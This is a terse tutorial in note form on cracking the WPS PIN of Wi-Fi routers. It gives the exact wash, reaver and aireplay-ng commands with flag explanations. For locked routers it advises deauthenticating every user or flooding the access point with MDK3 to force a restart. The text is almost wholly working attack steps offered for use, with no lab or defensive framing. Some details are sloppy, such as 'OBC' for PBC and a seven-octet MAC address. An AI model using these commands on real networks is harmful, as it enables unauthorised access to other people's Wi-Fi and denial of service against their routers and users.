WPS is a feature found in both WPA and WPA2

  • allows client to connect without password
  • authentication is done with an 8 digit number
  • Only works if PBC (push button authentication) is not enabled

How to crack WPS:

  • wash —interface wlan0 or wash -i wlan0
    • Lck - Means if WPS is locked after a certain number of attempts
    • WPS - version of WPS
    • dBm - Signal strength
  • If the target network is using OBC this attack will not work because it reuires you to physically push a button on the router
  • Brute force the pin
    • reaver —bssid 00:1A:70:70:69:4B -channel 1 —interface wlan0 -vvv -no-associated
      • vvv will show us as much information as possible (for troubleshooting)
      • We do not want reaver to associate with the network. We will do this with aireplay-ng as that is more reliable
  • aireplay-ng —fakeauth 30 -a 00:1A:70:70:69:4B -h 00:11:22:33:44:55:66 wlan0
    • 30 means we try to associated with the network every 30 seconds
    • -h = MAC address of our wireless adaptor
  • After reaver cracks the pin. You will get the pin, the WPA passphrase and the name of the AP.

Troubleshoot:

  • If you get the message “Failed to associate with…”
    • you need to manually associate with aireplay-ng
      • aireplay-ng —fakeauth 100 -a 00:1A:70:70:69:4B -h 00:11:22:33:44:55:66 wlan0
        • 100 means to wait 100 seconds between association attempts
    • Then in another window run reaver again
      • reaver —bssid 00:1A:70:70:69:4B -channel 1 -i wlan0 -A -vvv
        • -A means do not associate with network
  • If you get 0x3 & 0x4 errors (WPS transaction failed)
    • reaver —bssid 00:1A:70:70:69:4B -channel 1 -i wlan0 -A -vvv —no-nacks
  • Detected AP rate limiting | WPS Locked
    • You can deauth all of the users and “hope” the user thinks something is wrong with router and it restarts it
    • You can wait until the router gets restarted by owner
    • Use MDK3 to remotely unlock locked routers
      • This will send many authentication frames to an AP. This will overwhelm the AP and cause it to restart
      • mdk3 wlan0 a -a 00:1A:70:70:69:4B -m
        • a = attack mode, authentication dos
        • -a is the MAC of target network
        • -m is to create valid looking MAC addresses
      • wash -i wlan0
        • check if the router was unlocked